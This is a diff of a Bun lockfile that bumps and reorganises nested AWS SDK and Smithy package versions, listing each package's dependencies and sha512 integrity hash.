- "@aws-sdk/client-bedrock-runtime/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
-
"@aws-sdk/client-cognito-identity/@aws-sdk/core": ["@aws-sdk/core@3.623.0", "", { "dependencies": { "@smithy/core": "^2.3.2", "@smithy/node-config-provider": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/signature-v4": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/util-middleware": "^3.0.3", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-8Toq3X6trX/67obSdh4K0MFQY4f132bEbr1i0YPDWk/O3KdBt12mLC/sW3aVRnlIs110XMuX9yrWWqJ8fDW10g=="],
"@aws-sdk/client-cognito-identity/@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.623.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.620.1", "@aws-sdk/credential-provider-http": "3.622.0", "@aws-sdk/credential-provider-ini": "3.623.0", "@aws-sdk/credential-provider-process": "3.620.1", "@aws-sdk/credential-provider-sso": "3.623.0", "@aws-sdk/credential-provider-web-identity": "3.621.0", "@aws-sdk/types": "3.609.0", "@smithy/credential-provider-imds": "^3.2.0", "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qDwCOkhbu5PfaQHyuQ+h57HEx3+eFhKdtIw7aISziWkGdFrMe07yIBd7TJqGe4nxXnRF1pfkg05xeOlMId997g=="],
@@ -4971,8 +5197,12 @@
"@aws-sdk/client-kendra/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@aws-sdk/client-kendra/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@aws-sdk/client-kendra/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
+ "@aws-sdk/client-kendra/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
+
"@aws-sdk/client-kendra/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
"@aws-sdk/client-kendra/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
@@ -4987,11 +5217,13 @@
"@aws-sdk/client-kendra/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@aws-sdk/client-kendra/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@aws-sdk/client-kendra/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@aws-sdk/client-kendra/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@aws-sdk/client-s3/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
+ "@aws-sdk/client-kendra/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
"@aws-sdk/client-sso/@aws-sdk/core": ["@aws-sdk/core@3.623.0", "", { "dependencies": { "@smithy/core": "^2.3.2", "@smithy/node-config-provider": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/signature-v4": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/util-middleware": "^3.0.3", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-8Toq3X6trX/67obSdh4K0MFQY4f132bEbr1i0YPDWk/O3KdBt12mLC/sW3aVRnlIs110XMuX9yrWWqJ8fDW10g=="],
@@ -5135,7 +5367,7 @@
"@aws-sdk/client-sso-oidc/@smithy/util-utf8": ["@smithy/util-utf8@3.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-rUeT12bxFnplYDe815GXbq/oixEGHfRFFtcTF3YdDi/JaENIM6aSYYLJydG83UNzLXeRI5K8abYd/8Sp/QM0kA=="],
- "@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
+ "@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
"@aws-sdk/credential-provider-cognito-identity/@aws-sdk/types": ["@aws-sdk/types@3.609.0", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-+Tqnh9w0h2LcrUsdXyT1F8mNhXz+tVYBtP19LpeEGntmvHwa2XzvLUCWpoIAIVsHp5+HdB2X9Sn0KAtmbFXc2Q=="],
@@ -5165,33 +5397,23 @@
"@aws-sdk/credential-provider-ini/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="],
+ "@aws-sdk/credential-provider-login/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.972.16", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-HrdtnadvTGAQUr18sPzGlE5El3ICphnH6SU7UQOMOWFgRKbTRNN8msTxM4emzguUso9CzaHU2xy5ctSrmK5YNA=="],
- "@aws-sdk/credential-provider-login/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.972.18", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/node-http-handler": "^4.4.14", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.17", "tslib": "^2.6.2" } }, "sha512-NyB6smuZAixND5jZumkpkunQ0voc4Mwgkd+SZ6cvAzIB7gK8HV8Zd4rS8Kn5MmoGgusyNfVGG+RLoYc4yFiw+A=="],
- "@aws-sdk/credential-provider-login/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/credential-provider-env": "^3.972.16", "@aws-sdk/credential-provider-http": "^3.972.18", "@aws-sdk/credential-provider-login": "^3.972.17", "@aws-sdk/credential-provider-process": "^3.972.16", "@aws-sdk/credential-provider-sso": "^3.972.17", "@aws-sdk/credential-provider-web-identity": "^3.972.17", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-dFqh7nfX43B8dO1aPQHOcjC0SnCJ83H3F+1LoCh3X1P7E7N09I+0/taID0asU6GCddfDExqnEvQtDdkuMe5tKQ=="],
- "@aws-sdk/credential-provider-login/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.972.16", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-n89ibATwnLEg0ZdZmUds5bq8AfBAdoYEDpqP3uzPLaRuGelsKlIvCYSNNvfgGLi8NaHPNNhs1HjJZYbqkW9b+g=="],
- "@aws-sdk/credential-provider-login/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/token-providers": "3.1004.0", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-wGtte+48xnhnhHMl/MsxzacBPs5A+7JJedjiP452IkHY7vsbYKcvQBqFye8LwdTJVeHtBHv+JFeTscnwepoWGg=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-N27eFoRrO6MeUNumtNHDW9WOiwfd59LPXPqDrIa3kWL/s+fOKFHb9xIcF++bAwtcZnAxKkgpDCUP+INNZskE+w=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-8aiVJh6fTdl8gcyL+sVNcNwTtWpmoFa1Sh7xlj6Z7L/cZ/tYMEBHq44wTYG8Kt0z/PpGNopD89nbj3FHl9QmTA=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/property-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-stream": "^4.1.2", "tslib": "^2.6.2" } }, "sha512-Xt9/U8qUCiw1hihztWkNeIR+arg6P+yda10OuCHX6kFVx3auTlU7+hCqs3UxqniGU4dguHuftf3mRpi5/GJ33Q=="],
+ "@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.11", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/credential-provider-env": "3.758.0", "@aws-sdk/credential-provider-http": "3.758.0", "@aws-sdk/credential-provider-process": "3.758.0", "@aws-sdk/credential-provider-sso": "3.758.0", "@aws-sdk/credential-provider-web-identity": "3.758.0", "@aws-sdk/nested-clients": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/credential-provider-imds": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-cymSKMcP5d+OsgetoIZ5QCe1wnp2Q/tq+uIxVdh9MbfdBBEnl9Ecq6dH6VlYS89sp4QKuxHxkWXVnbXU3Q19Aw=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-AzcY74QTPqcbXWVgjpPZ3HOmxQZYPROIBz2YINF0OQk0MhezDWV/O7Xec+K1+MPGQO3qS6EDrUUlnPLjsqieHA=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.758.0", "", { "dependencies": { "@aws-sdk/client-sso": "3.758.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/token-providers": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-x0FYJqcOLUCv8GLLFDYMXRAQKGjoM+L0BG4BiHYZRDf24yQWFCAZsCQAYKo6XZYh2qznbsW6f//qpyJ5b0QVKQ=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.758.0", "", { "dependencies": { "@aws-sdk/core": "3.758.0", "@aws-sdk/nested-clients": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-XGguXhBqiCXMXRxcfCAVPlMbm3VyJTou79r/3mxWddHWF0XbhaQiBIbUz6vobVTD25YQRbWSmSch7VA8kI5Lrw=="],
-
- "@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-l/qdInaDq1Zpznpmev/+52QomsJNZ3JkTl5yrTl02V6NBgJOQ4LY0SFw/8zsMwj3tLe8vqiIuwF6nxaEwgf6mg=="],
-
- "@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
+ "@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
"@aws-sdk/credential-provider-process/@aws-sdk/types": ["@aws-sdk/types@3.609.0", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-+Tqnh9w0h2LcrUsdXyT1F8mNhXz+tVYBtP19LpeEGntmvHwa2XzvLUCWpoIAIVsHp5+HdB2X9Sn0KAtmbFXc2Q=="],
@@ -5217,113 +5439,41 @@
"@aws-sdk/credential-providers/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="],
- "@aws-sdk/eventstream-handler-node/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
+ "@aws-sdk/middleware-websocket/@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-V+PbnWfUl93GuFwsOHsAq7hY/fnm9kElRqR8IexIJr5Rvif9e614X5sGSyz3mVSf1YAZ+VTy63W1/pGdA55zyA=="],
- "@aws-sdk/eventstream-handler-node/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region": ["@aws-sdk/signature-v4-multi-region@3.758.0", "", { "dependencies": { "@aws-sdk/middleware-sdk-s3": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-0RPCo8fYJcrenJ6bRtiUbFOSgQ1CX/GpvwtLU2Fam1tS9h2klKK8d74caeV6A1mIUvBU7bhyQ0wMGlwMtn3EYw=="],
- "@aws-sdk/middleware-eventstream/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/types": ["@aws-sdk/types@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg=="],
- "@aws-sdk/middleware-eventstream/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.0.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-serde": "^4.0.2", "@smithy/node-config-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-middleware": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-ftpmkTHIFqgaFugcjzLZv3kzPEFsBFSnq1JsIkr2mwFzCraZVhQk2gqN51OOeRxqhbPTkRFj39Qd2V91E/mQxg=="],
- "@aws-sdk/middleware-eventstream/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
- "@aws-sdk/middleware-websocket/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client": ["@smithy/smithy-client@4.1.6", "", { "dependencies": { "@smithy/core": "^3.1.5", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-stack": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-stream": "^4.1.2", "tslib": "^2.6.2" } }, "sha512-UYDolNg6h2O0L+cJjtgSyKKvEKCOa/8FHYJnBobyeoeWDmNpXjwOAtw16ezyeu1ETuuLEOZbrynK0ZY1Lx9Jbw=="],
- "@aws-sdk/middleware-websocket/@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/querystring-builder": "^4.2.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-MS5eSEtDUFIAMHrJaMERiHAvDPdfxc/T869ZjDNFAIiZhyc037REw0aoTNeimNXDNy2txRNZJaAUn/kE4RwN+g=="],
+ "@aws-sdk/s3-request-presigner/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
- "@aws-sdk/middleware-websocket/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.6", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-6OiaAaEbLB6dEkRbQyNzFSJv5HDvly3Mc6q/qcPd2uS/g3szR8wAIkh7UndAFKfMypNSTuZ6eCBmgCLR5LacTg=="],
+ "@aws-sdk/token-providers/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
- "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
-
- "@aws-sdk/middleware-websocket/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
-
